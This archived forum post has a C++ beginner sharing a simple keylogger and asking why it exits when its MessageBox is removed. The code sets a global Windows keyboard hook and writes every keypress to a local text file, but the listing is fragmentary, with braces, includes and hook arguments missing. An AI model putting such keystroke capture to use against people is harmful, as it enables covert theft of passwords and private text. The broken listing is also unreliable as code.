Keylogger and form

Am a beginner in C++ and as such, I am making a simple program that stores keypresses, and stores them in a file. The program contains a messagebox, but it wont work if I remove the messagebox from the code (It compiles, runs, and immediately terminates. Any ideas? Here is the code.
using namespace std;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
// If key is being pressed
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
// Invisible keys
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<dDOWN>"; break;
case VK_RETURN: out << "<ENTER>\n"; break;
//add special keys like semicolons
// Visible keys
out << char(tolower(p->vkCode));
out.flush(); //to immediately flush to txt file
return CallNextHookEx(NULL, nCode, wParam, lParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpCmdLine, int nShowCmd) {
// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx
MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
return 0;
Topic archived. No new replies allowed.